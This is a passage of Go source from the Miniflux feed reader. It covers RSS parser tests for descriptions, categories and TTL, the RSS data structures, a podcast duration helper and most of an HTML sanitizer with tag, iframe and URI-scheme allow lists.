Subtitle</itunes:subtitle>\n\t\t\t\t<googleplay:description>Episode Description</googleplay:description>\n\t\t\t</item>\n\t\t</channel>\n\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\texpected := \"Episode Description\"\n\tresult := feed.Entries[0].Content\n\tif expected != result {\n\t\tt.Errorf(`Unexpected podcast content, got %q instead of %q`, result, expected)\n\t}\n}\n\nfunc TestParseEntryWithRSSDescriptionAndMediaDescription(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\t<rss version=\"2.0\" xmlns:media=\"http://search.yahoo.com/mrss/\">\n\t\t<channel>\n\t\t\t<title>Podcast Example</title>\n\t\t\t<link>http://www.example.com/index.html</link>\n\t\t\t<item>\n\t\t\t\t<title>Entry Title</title>\n\t\t\t\t<link>http://www.example.com/entries/1</link>\n\t\t\t\t<description>Entry Description</description>\n\t\t\t\t<media:description type=\"plain\">Media Description</media:description>\n\t\t\t</item>\n\t\t</channel>\n\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\texpected := \"Entry Description\"\n\tresult := feed.Entries[0].Content\n\tif expected != result {\n\t\tt.Errorf(`Unexpected description, got %q instead of %q`, result, expected)\n\t}\n}\n\nfunc TestParseFeedWithCategories(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss xmlns:atom=\"http://www.w3.org/2005/Atom\" version=\"2.0\">\n\t\t<channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<category>Category 1</category>\n\t\t\t<category><![CDATA[Category 2]]></category>\n\t\t\t<item>\n\t\t\t\t<title>Test</title>\n\t\t\t\t<link>https://example.org/item</link>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries[0].Tags) != 2 {\n\t\tt.Errorf(\"Incorrect number of tags, got: %d\", len(feed.Entries[0].Tags))\n\t}\n\n\texpected := []string{\"Category 1\", \"Category 2\"}\n\tresult := feed.Entries[0].Tags\n\n\tfor i, tag := range result {\n\t\tif tag != expected[i] {\n\t\t\tt.Errorf(\"Incorrect tag, got: %q\", tag)\n\t\t}\n\t}\n}\n\nfunc TestParseEntryWithCategories(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss xmlns:atom=\"http://www.w3.org/2005/Atom\" version=\"2.0\">\n\t\t<channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<category>Category 3</category>\n\t\t\t<item>\n\t\t\t\t<title>Test</title>\n\t\t\t\t<link>https://example.org/item</link>\n\t\t\t\t<category>Category 1</category>\n\t\t\t\t<category><![CDATA[Category 2]]></category>\n\t\t\t\t<category>Category 2</category>\n\t\t\t\t<category>Category 0</category>\n\t\t\t\t<category>   </category>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries[0].Tags) != 3 {\n\t\tt.Fatalf(\"Incorrect number of tags, got: %d\", len(feed.Entries[0].Tags))\n\t}\n\n\texpected := []string{\"Category 0\", \"Category 1\", \"Category 2\"}\n\tresult := feed.Entries[0].Tags\n\n\tfor i, tag := range result {\n\t\tif tag != expected[i] {\n\t\t\tt.Errorf(\"Incorrect tag, got: %q\", tag)\n\t\t}\n\t}\n}\n\nfunc TestParseFeedWithItunesCategories(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss xmlns:atom=\"http://www.w3.org/2005/Atom\" xmlns:itunes=\"http://www.itunes.com/dtds/podcast-1.0.dtd\" version=\"2.0\">\n\t\t<channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<itunes:category text=\"Society &amp; Culture\">\n\t\t\t\t<itunes:category text=\"Documentary\" />\n\t\t\t</itunes:category>\n\t\t\t<itunes:category text=\"Health\">\n\t\t\t\t<itunes:category text=\"Mental Health\" />\n\t\t\t</itunes:category>\n\t\t\t<item>\n\t\t\t\t<title>Test</title>\n\t\t\t\t<link>https://example.org/item</link>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries[0].Tags) != 4 {\n\t\tt.Errorf(\"Incorrect number of tags, got: %d\", len(feed.Entries[0].Tags))\n\t}\n\n\texpected := []string{\"Documentary\", \"Health\", \"Mental Health\", \"Society & Culture\"}\n\tresult := feed.Entries[0].Tags\n\n\tfor i, tag := range result {\n\t\tif tag != expected[i] {\n\t\t\tt.Errorf(\"Incorrect tag, got: %q\", tag)\n\t\t}\n\t}\n}\n\nfunc TestParseFeedWithGooglePlayCategory(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss xmlns:atom=\"http://www.w3.org/2005/Atom\" xmlns:gplay=\"http://www.google.com/schemas/play-podcasts/1.0\" version=\"2.0\">\n\t\t<channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<gplay:category text=\"Art\"></gplay:category>\n\t\t\t<item>\n\t\t\t\t<title>Test</title>\n\t\t\t\t<link>https://example.org/item</link>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries[0].Tags) != 1 {\n\t\tt.Errorf(\"Incorrect number of tags, got: %d\", len(feed.Entries[0].Tags))\n\t}\n\n\texpected := []string{\"Art\"}\n\tresult := feed.Entries[0].Tags\n\n\tfor i, tag := range result {\n\t\tif tag != expected[i] {\n\t\t\tt.Errorf(\"Incorrect tag, got: %q\", tag)\n\t\t}\n\t}\n}\n\nfunc TestParseEntryWithMediaCategories(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss xmlns:atom=\"http://www.w3.org/2005/Atom\" xmlns:media=\"http://search.yahoo.com/mrss/\" version=\"2.0\">\n\t\t<channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<item>\n\t\t\t\t<title>Test</title>\n\t\t\t\t<link>https://example.org/item</link>\n\t\t\t\t<media:category label=\"Visual Art\">visual_art</media:category>\n\t\t\t\t<media:category scheme=\"http://search.yahoo.com/mrss/category_ schema\">music/artist/album/song</media:category>\n\t\t\t\t<media:category scheme=\"urn:flickr:tags\">ycantpark mobile</media:category>\n\t\t\t\t<media:category scheme=\"http://dmoz.org\" label=\"Ace Ventura - Pet Detective\">Arts/Movies/Titles/A/Ace_Ventura_Series/Ace_Ventura_ -_Pet_Detective</media:category>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries[0].Tags) != 2 {\n\t\tt.Errorf(\"Incorrect number of tags, got: %d\", len(feed.Entries[0].Tags))\n\t}\n\n\texpected := []string{\"Ace Ventura - Pet Detective\", \"Visual Art\"}\n\tresult := feed.Entries[0].Tags\n\n\tfor i, tag := range result {\n\t\tif tag != expected[i] {\n\t\t\tt.Errorf(\"Incorrect entry tag, got %q instead of %q\", tag, expected[i])\n\t\t}\n\t}\n}\n\nfunc TestParseFeedWithTTLField(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\">\n\t\t<channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<ttl>60</ttl>\n\t\t\t<item>\n\t\t\t\t<title>Test</title>\n\t\t\t\t<link>https://example.org/item</link>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.TTL != 60*time.Minute {\n\t\tt.Errorf(\"Incorrect TTL, got: %d\", feed.TTL)\n\t}\n}\n\nfunc TestParseFeedWithIncorrectTTLValue(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\">\n\t\t<channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<ttl>invalid</ttl>\n\t\t\t<item>\n\t\t\t\t<title>Test</title>\n\t\t\t\t<link>https://example.org/item</link>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.TTL != 0 {\n\t\tt.Errorf(\"Incorrect TTL, got: %d\", feed.TTL)\n\t}\n}\n"
  },
  {
    "path": "internal/reader/rss/podcast.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage rss // import \"miniflux.app/v2/internal/reader/rss\"\n\nimport (\n\t\"errors\"\n\t\"math\"\n\t\"strconv\"\n\t\"strings\"\n)\n\nvar errInvalidDurationFormat = errors.New(\"rss: invalid duration format\")\n\nfunc getDurationInMinutes(rawDuration string) (int, error) {\n\tvar sumSeconds int\n\n\tdurationParts := strings.Split(rawDuration, \":\")\n\tif len(durationParts) > 3 {\n\t\treturn 0, errInvalidDurationFormat\n\t}\n\n\tfor i, durationPart := range durationParts {\n\t\tdurationPartValue, err := strconv.Atoi(durationPart)\n\t\tif err != nil {\n\t\t\treturn 0, errInvalidDurationFormat\n\t\t}\n\n\t\tsumSeconds += int(math.Pow(60, float64(len(durationParts)-i-1))) * durationPartValue\n\t}\n\n\treturn sumSeconds / 60, nil\n}\n"
  },
  {
    "path": "internal/reader/rss/rss.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage rss // import \"miniflux.app/v2/internal/reader/rss\"\n\nimport (\n\t\"encoding/xml\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"miniflux.app/v2/internal/reader/dublincore\"\n\t\"miniflux.app/v2/internal/reader/googleplay\"\n\t\"miniflux.app/v2/internal/reader/itunes\"\n\t\"miniflux.app/v2/internal/reader/media\"\n)\n\n// Specs: https://www.rssboard.org/rss-specification\ntype rss struct {\n\t// Version is the version of the RSS specification.\n\tVersion string `xml:\"rss version,attr\"`\n\n\t// Channel is the main container for the RSS feed.\n\tChannel rssChannel `xml:\"rss channel\"`\n}\n\ntype rssChannel struct {\n\t// Title is the name of the channel.\n\tTitle string `xml:\"rss title\"`\n\n\t// Link is the URL to the HTML website corresponding to the channel.\n\tLink string `xml:\"rss link\"`\n\n\t// Description is a phrase or sentence describing the channel.\n\tDescription string `xml:\"rss description\"`\n\n\t// Language is the language the channel is written in.\n\t// A list of allowable values for this element, as provided by Netscape, is here: https://www.rssboard.org/rss-language-codes.\n\t// You may also use values defined by the W3C: https://www.w3.org/TR/REC-html40/struct/dirlang.html#langcodes.\n\tLanguage string `xml:\"rss language\"`\n\n\t// Copyright is a string indicating the copyright.\n\tCopyright string `xml:\"rss copyRight\"`\n\n\t// ManagingEditor is the email address for the person responsible for editorial content.\n\tManagingEditor string `xml:\"rss managingEditor\"`\n\n\t// Webmaster is the email address for the person responsible for technical issues relating to the channel.\n\tWebmaster string `xml:\"rss webMaster\"`\n\n\t// PubDate is the publication date for the content in the channel.\n\t// All date-times in RSS conform to the Date and Time Specification of RFC 822, with the exception that the year may be expressed with two characters or four characters (four preferred).\n\tPubDate string `xml:\"rss pubDate\"`\n\n\t// LastBuildDate is the last time the content of the channel changed.\n\tLastBuildDate string `xml:\"rss lastBuildDate\"`\n\n\t// Categories is a collection of categories to which the channel belongs.\n\tCategories []string `xml:\"rss category\"`\n\n\t// Generator is a string indicating the program used to generate the channel.\n\tGenerator string `xml:\"rss generator\"`\n\n\t// Docs is a URL that points to the documentation for the format used in the RSS file.\n\tDocumentationURL string `xml:\"rss docs\"`\n\n\t// Cloud is a web service that supports the rssCloud interface which can be implemented in HTTP-POST, XML-RPC or SOAP 1.1.\n\tCloud *rssCloud `xml:\"rss cloud\"`\n\n\t// Image specifies a GIF, JPEG or PNG image that can be displayed with the channel.\n\tImage *rssImage `xml:\"rss image\"`\n\n\t// TTL is a number of minutes that indicates how long a channel can be cached before refreshing from the source.\n\tTTL string `xml:\"rss ttl\"`\n\n\t// SkipHours is a hint for aggregators telling them which hours they can skip.\n\t// An XML element that contains up to 24 <hour> sub-elements whose value is a number between 0 and 23,\n\t// representing a time in GMT, when aggregators,\n\t// if they support the feature, may not read the channel on hours listed in the skipHours element.\n\tSkipHours []string `xml:\"rss skipHours>hour\"`\n\n\t// SkipDays is a hint for aggregators telling them which days they can skip.\n\t// An XML element that contains up to seven <day> sub-elements whose value is Monday, Tuesday, Wednesday, Thursday, Friday, Saturday or Sunday.\n\tSkipDays []string `xml:\"rss skipDays>day\"`\n\n\t// Items is a collection of items.\n\tItems []rssItem `xml:\"rss item\"`\n\n\tatomLinks\n\titunes.ItunesChannelElement\n\tgoogleplay.GooglePlayChannelElement\n}\n\ntype rssCloud struct {\n\tDomain            string `xml:\"domain,attr\"`\n\tPort              string `xml:\"port,attr\"`\n\tPath              string `xml:\"path,attr\"`\n\tRegisterProcedure string `xml:\"registerProcedure,attr\"`\n\tProtocol          string `xml:\"protocol,attr\"`\n}\n\ntype rssImage struct {\n\t// URL is the URL of a GIF, JPEG or PNG image that represents the channel.\n\tURL string `xml:\"url\"`\n\n\t// Title describes the image, it's used in the ALT attribute of the HTML <img> tag when the channel is rendered in HTML.\n\tTitle string `xml:\"title\"`\n\n\t// Link is the URL of the site, when the channel is rendered, the image is a link to the site.\n\tLink string `xml:\"link\"`\n}\n\ntype rssItem struct {\n\t// Title is the title of the item.\n\tTitle innerContent `xml:\"rss title\"`\n\n\t// Link is the URL of the item.\n\tLink string `xml:\"rss link\"`\n\n\t// Description is the item synopsis.\n\tDescription string `xml:\"rss description\"`\n\n\t// Author is the email address of the author of the item.\n\tAuthor rssAuthor `xml:\"rss author\"`\n\n\t// <category> is an optional sub-element of <item>.\n\t// It has one optional attribute, domain, a string that identifies a categorization taxonomy.\n\tCategories []string `xml:\"rss category\"`\n\n\t// <comments> is an optional sub-element of <item>.\n\t// If present, it contains the URL of the comments page for the item.\n\tCommentsURL string `xml:\"rss comments\"`\n\n\t// <enclosure> is an optional sub-element of <item>.\n\t// It has three required attributes. url says where the enclosure is located,\n\t// length says how big it is in bytes, and type says what its type is, a standard MIME type.\n\tEnclosures []rssEnclosure `xml:\"rss enclosure\"`\n\n\t// <guid> is an optional sub-element of <item>.\n\t// It's a string that uniquely identifies the item.\n\t// When present, an aggregator may choose to use this string to determine if an item is new.\n\t//\n\t// There are no rules for the syntax of a guid.\n\t// Aggregators must view them as a string.\n\t// It's up to the source of the feed to establish the uniqueness of the string.\n\t//\n\t// If the guid element has an attribute named isPermaLink with a value of true,\n\t// the reader may assume that it is a permalink to the item, that is, a url that can be opened in a Web browser,\n\t// that points to the full item described by the <item> element.\n\t//\n\t// isPermaLink is optional, its default value is true.\n\t// If its value is false, the guid may not be assumed to be a url, or a url to anything in particular.\n\tGUID rssGUID `xml:\"rss guid\"`\n\n\t// <pubDate> is the publication date of the item.\n\t// Its value is a string in RFC 822 format.\n\tPubDate string `xml:\"rss pubDate\"`\n\n\t// <source> is an optional sub-element of <item>.\n\t// Its value is the name of the RSS channel that the item came from, derived from its <title>.\n\t// It has one required attribute, url, which contains the URL of the RSS channel.\n\tSource rssSource `xml:\"rss source\"`\n\n\tdublincore.DublinCoreItemElement\n\tfeedBurnerItemElement\n\tmedia.MediaItemElement\n\tatomAuthor\n\tatomLinks\n\titunes.ItunesItemElement\n\tgoogleplay.GooglePlayItemElement\n}\n\ntype rssAuthor struct {\n\tXMLName xml.Name\n\tData    string `xml:\",chardata\"`\n\tInner   string `xml:\",innerxml\"`\n}\n\ntype rssEnclosure struct {\n\tURL    string `xml:\"url,attr\"`\n\tType   string `xml:\"type,attr\"`\n\tLength string `xml:\"length,attr\"`\n}\n\nfunc (enclosure *rssEnclosure) Size() int64 {\n\tif strings.TrimSpace(enclosure.Length) == \"\" {\n\t\treturn 0\n\t}\n\tsize, _ := strconv.ParseInt(enclosure.Length, 10, 0)\n\treturn size\n}\n\ntype rssGUID struct {\n\tData        string `xml:\",chardata\"`\n\tIsPermaLink string `xml:\"isPermaLink,attr\"`\n}\n\ntype rssSource struct {\n\tURL  string `xml:\"url,attr\"`\n\tName string `xml:\",chardata\"`\n}\n\ntype innerContent struct {\n\tContent string\n}\n\nfunc (ic *innerContent) UnmarshalXML(d *xml.Decoder, start xml.StartElement) error {\n\tvar content strings.Builder\n\n\tfor {\n\t\ttoken, err := d.Token()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tswitch t := token.(type) {\n\t\tcase xml.CharData:\n\t\t\tcontent.Write(t)\n\t\tcase xml.EndElement:\n\t\t\tif t == start.End() {\n\t\t\t\tic.Content = strings.TrimSpace(content.String())\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "internal/reader/sanitizer/sanitizer.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage sanitizer // import \"miniflux.app/v2/internal/reader/sanitizer\"\n\nimport (\n\t\"errors\"\n\t\"net/url\"\n\t\"slices\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/reader/urlcleaner\"\n\t\"miniflux.app/v2/internal/urllib\"\n\n\t\"golang.org/x/net/html\"\n)\n\nconst (\n\tmaxDepth = 512 // The maximum allowed depths for nested HTML tags, same was WebKit.\n)\n\nvar (\n\tallowedHTMLTagsAndAttributes = map[string][]string{\n\t\t\"a\":          {\"href\", \"title\", \"id\"},\n\t\t\"abbr\":       {\"title\"},\n\t\t\"acronym\":    {\"title\"},\n\t\t\"aside\":      {},\n\t\t\"audio\":      {\"src\"},\n\t\t\"blockquote\": {},\n\t\t\"b\":          {},\n\t\t\"br\":         {},\n\t\t\"caption\":    {},\n\t\t\"cite\":       {},\n\t\t\"code\":       {},\n\t\t\"dd\":         {\"id\"},\n\t\t\"del\":        {},\n\t\t\"dfn\":        {},\n\t\t\"dl\":         {\"id\"},\n\t\t\"dt\":         {\"id\"},\n\t\t\"em\":         {},\n\t\t\"figcaption\": {},\n\t\t\"figure\":     {},\n\t\t\"h1\":         {\"id\"},\n\t\t\"h2\":         {\"id\"},\n\t\t\"h3\":         {\"id\"},\n\t\t\"h4\":         {\"id\"},\n\t\t\"h5\":         {\"id\"},\n\t\t\"h6\":         {\"id\"},\n\t\t\"hr\":         {},\n\t\t\"i\":          {},\n\t\t\"iframe\":     {\"width\", \"height\", \"frameborder\", \"src\", \"allowfullscreen\"},\n\t\t\"img\":        {\"alt\", \"title\", \"src\", \"srcset\", \"sizes\", \"width\", \"height\", \"fetchpriority\", \"decoding\"},\n\t\t\"ins\":        {},\n\t\t\"kbd\":        {},\n\t\t\"li\":         {\"id\"},\n\t\t\"ol\":         {\"id\"},\n\t\t\"p\":          {},\n\t\t\"picture\":    {},\n\t\t\"pre\":        {},\n\t\t\"q\":          {\"cite\"},\n\t\t\"rp\":         {},\n\t\t\"rt\":         {},\n\t\t\"rtc\":        {},\n\t\t\"ruby\":       {},\n\t\t\"s\":          {},\n\t\t\"small\":      {},\n\t\t\"samp\":       {},\n\t\t\"source\":     {\"src\", \"type\", \"srcset\", \"sizes\", \"media\"},\n\t\t\"strong\":     {},\n\t\t\"sub\":        {},\n\t\t\"sup\":        {\"id\"},\n\t\t\"table\":      {},\n\t\t\"td\":         {\"rowspan\", \"colspan\"},\n\t\t\"tfoot\":      {},\n\t\t\"th\":         {\"rowspan\", \"colspan\"},\n\t\t\"thead\":      {},\n\t\t\"time\":       {\"datetime\"},\n\t\t\"tr\":         {},\n\t\t\"u\":          {},\n\t\t\"ul\":         {\"id\"},\n\t\t\"var\":        {},\n\t\t\"video\":      {\"poster\", \"height\", \"width\", \"src\"},\n\t\t\"wbr\":        {},\n\n\t\t// MathML: https://w3c.github.io/mathml-core/ and https://developer.mozilla.org/en-US/docs/Web/MathML/Reference/Element\n\t\t\"annotation\":     {},\n\t\t\"annotation-xml\": {},\n\t\t\"maction\":        {},\n\t\t\"math\":           {\"xmlns\"},\n\t\t\"merror\":         {},\n\t\t\"mfrac\":          {},\n\t\t\"mi\":             {},\n\t\t\"mmultiscripts\":  {},\n\t\t\"mn\":             {},\n\t\t\"mo\":             {},\n\t\t\"mover\":          {},\n\t\t\"mpadded\":        {},\n\t\t\"mphantom\":       {},\n\t\t\"mprescripts\":    {},\n\t\t\"mroot\":          {},\n\t\t\"mrow\":           {},\n\t\t\"ms\":             {},\n\t\t\"mspace\":         {},\n\t\t\"msqrt\":          {},\n\t\t\"mstyle\":         {},\n\t\t\"msub\":           {},\n\t\t\"msubsup\":        {},\n\t\t\"msup\":           {},\n\t\t\"mtable\":         {},\n\t\t\"mtd\":            {},\n\t\t\"mtext\":          {},\n\t\t\"mtr\":            {},\n\t\t\"munder\":         {},\n\t\t\"munderover\":     {},\n\t\t\"semantics\":      {},\n\t}\n\n\tiframeAllowList = map[string]struct{}{\n\t\t\"bandcamp.com\":         {},\n\t\t\"cdn.embedly.com\":      {},\n\t\t\"dailymotion.com\":      {},\n\t\t\"open.spotify.com\":     {},\n\t\t\"player.bilibili.com\":  {},\n\t\t\"player.twitch.tv\":     {},\n\t\t\"player.vimeo.com\":     {},\n\t\t\"soundcloud.com\":       {},\n\t\t\"vk.com\":               {},\n\t\t\"w.soundcloud.com\":     {},\n\t\t\"youtube-nocookie.com\": {},\n\t\t\"youtube.com\":          {},\n\t}\n\n\tblockedResourceURLSubstrings = []string{\n\t\t\"api.flattr.com\",\n\t\t\"www.facebook.com/sharer.php\",\n\t\t\"feeds.feedburner.com\",\n\t\t\"feedsportal.com\",\n\t\t\"linkedin.com/shareArticle\",\n\t\t\"pinterest.com/pin/create/button/\",\n\t\t\"stats.wordpress.com\",\n\t\t\"twitter.com/intent/tweet\",\n\t\t\"twitter.com/share\",\n\t\t\"x.com/intent/tweet\",\n\t\t\"x.com/share\",\n\t}\n\n\t// See https://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml\n\tvalidURISchemes = []string{\n\t\t// Most commong schemes on top.\n\t\t\"https:\",\n\t\t\"http:\",\n\n\t\t// Then the rest.\n\t\t\"apt:\",\n\t\t\"bitcoin:\",\n\t\t\"callto:\",\n\t\t\"dav:\",\n\t\t\"davs:\",\n\t\t\"ed2k:\",\n\t\t\"facetime:\",\n\t\t\"feed:\",\n\t\t\"ftp:\",\n\t\t\"geo:\",\n\t\t\"git:\",\n\t\t\"gopher:\",\n\t\t\"irc:\",\n\t\t\"irc6:\",\n\t\t\"ircs:\",\n\t\t\"itms-apps:\",\n\t\t\"itms:\",\n\t\t\"magnet:\",\n\t\t\"mailto:\",\n\t\t\"news:\",\n\t\t\"nntp:\",\n\t\t\"rtmp:\",\n\t\t\"sftp:\",\n\t\t\"sip:\",\n\t\t\"sips:\",\n\t\t\"skype:\",\n\t\t\"spotify:\",\n\t\t\"ssh:\",\n\t\t\"steam:\",\n\t\t\"svn:\",\n\t\t\"svn+ssh:\",\n\t\t\"tel:\",\n\t\t\"webcal:\",\n\t\t\"xmpp:\",\n\n\t\t// iOS Apps\n\t\t\"opener:\", // https://www.opener.link\n\t\t\"hack:\",   // https://apps.apple.com/it/app/hack-for-hacker-news-reader/id1464477788?l=en-GB\n\t}\n\n\tdataAttributeAllowedPrefixes = []string{\n\t\t\"data:image/avif\",\n\t\t\"data:image/apng\",\n\t\t\"data:image/png\",\n\t\t\"data:image/svg\",\n\t\t\"data:image/svg+xml\",\n\t\t\"data:image/jpg\",\n\t\t\"data:image/jpeg\",\n\t\t\"data:image/gif\",\n\t\t\"data:image/webp\",\n\t}\n)\n\n// SanitizerOptions holds options for the HTML sanitizer.\ntype SanitizerOptions struct {\n\tOpenLinksInNewTab bool\n}\n\n// SanitizeHTML takes raw HTML input and removes any disallowed tags and attributes.\nfunc SanitizeHTML(baseURL, rawHTML string, sanitizerOptions *SanitizerOptions) string {\n\tvar buffer strings.Builder\n\n\t// Educated guess about how big the sanitized HTML will be,\n\t// to reduce the amount of buffer re-allocations in this function.\n\testimatedRatio := len(rawHTML) * 3 / 4\n\tbuffer.Grow(estimatedRatio)\n\n\t// We need to surround `rawHTML` with body tags so that html.Parse\n\t// will consider it a valid html document.\n\tdoc, err := html.Parse(strings.NewReader(\"<body>\" + rawHTML + \"</body>\"))\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\n\t/* The structure of `doc` is always:\n\t<html>\n\t<head>...</head>\n\t<body>..</body>\n\t</html>\n\t*/\n\tbody := doc.FirstChild.FirstChild.NextSibling\n\n\t// Errors are a non-issue, so they're handled in filterAndRenderHTML\n\tparsedBaseUrl, _ := url.Parse(baseURL)\n\tfor c := body.FirstChild; c != nil; c = c.NextSibling {\n\t\t// -2 because of `<html><body>…`\n\t\tif err := filterAndRenderHTML(&buffer, c, parsedBaseUrl, sanitizerOptions, maxDepth-2); err != nil {\n\t\t\treturn \"\"\n\t\t}\n\t}\n\n\treturn buffer.String()\n}\n\nfunc findAllowedIframeSourceDomain(iframeSourceURL string) (string, bool) {\n\tiframeSourceDomain := urllib.DomainWithoutWWW(iframeSourceURL)\n\n\tif _, ok := iframeAllowList[iframeSourceDomain]; ok {\n\t\treturn iframeSourceDomain, true\n\t}\n\n\tif ytDomain := config.Opts.YouTubeEmbedDomain(); ytDomain != \"\" && iframeSourceDomain == strings.TrimPrefix(ytDomain, \"www.\") {\n\t\treturn iframeSourceDomain, true\n\t}\n\n\tif invidiousInstance := config.Opts.InvidiousInstance(); invidiousInstance != \"\" && iframeSourceDomain == strings.TrimPrefix(invidiousInstance, \"www.\") {\n\t\treturn iframeSourceDomain, true\n\t}\n\n\treturn \"\", false\n}\n\nfunc filterAndRenderHTML(buf *strings.Builder, n *html.Node, parsedBaseUrl *url.URL, sanitizerOptions *SanitizerOptions, depth uint) error {\n\tif n == nil {\n\t\treturn nil\n\t}\n\n\tif depth == 0 {\n\t\treturn errors.New(\"maximum nested tags limit reached\")\n\t}\n\n\tswitch n.Type {\n\tcase html.TextNode:\n\t\tbuf.WriteString(html.EscapeString(n.Data))\n\tcase html.ElementNode:\n\t\ttag := strings.ToLower(n.Data)\n\t\tif shouldIgnoreTag(n, tag) {\n\t\t\treturn nil\n\t\t}\n\n\t\t_, ok := allowedHTMLTagsAndAttributes[tag]\n\t\tif !ok {\n\t\t\t// The tag isn't allowed, but we're still interested in its content\n\t\t\treturn filterAndRenderHTMLChildren(buf, n, parsedBaseUrl, sanitizerOptions, depth-1)\n\t\t}\n\n\t\thtmlAttributes, hasAllRequiredAttributes := sanitizeAttributes(parsedBaseUrl, tag, n.Attr, sanitizerOptions)\n\t\tif !hasAllRequiredAttributes {\n\t\t\t// The tag doesn't have every required attributes but we're still interested in its content\n\t\t\treturn filterAndRenderHTMLChildren(buf, n, parsedBaseUrl, sanitizerOptions, depth-1)\n\t\t}\n\t\tbuf.WriteByte('<')\n\t\tbuf.WriteString(n.Data)\n\t\tif htmlAttributes != \"\" {\n\t\t\tbuf.WriteByte(' ')\n\t\t\tbuf.WriteString(htmlAttributes)\n\t\t}\n\t\tbuf.WriteByte('>')\n\n\t\tif isSelfContainedTag(tag) {\n\t\t\treturn nil\n\t\t}\n\n\t\tif tag != \"iframe\" {\n\t\t\t// iframes aren't allowed to have child nodes.\n\t\t\tfilterAndRenderHTMLChildren(buf, n, parsedBaseUrl, sanitizerOptions, depth-1)\n\t\t}\n\n\t\tbuf.WriteString(\"</\")\n\t\tbuf.WriteString(n.Data)\n\t\tbuf.WriteByte('>')\n\tdefault:\n\t}\n\treturn nil\n}\n\nfunc filterAndRenderHTMLChildren(buf *strings.Builder, n *html.Node, parsedBaseUrl *url.URL, sanitizerOptions *SanitizerOptions, depth uint) error {\n\tfor c := n.FirstChild; c != nil; c = c.NextSibling {\n\t\tif err := filterAndRenderHTML(buf, c, parsedBaseUrl, sanitizerOptions, depth); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc hasRequiredAttributes(s *mandatoryAttributesStruct, tagName string) bool {\n\tswitch tagName {\n\tcase \"a\":\n\t\treturn s.href\n\tcase \"iframe\":\n\t\treturn s.src\n\tcase \"source\", \"img\":\n\t\treturn s.src || s.srcset\n\t}\n\treturn true\n}\n\nfunc hasValidURIScheme(absoluteURL string) bool 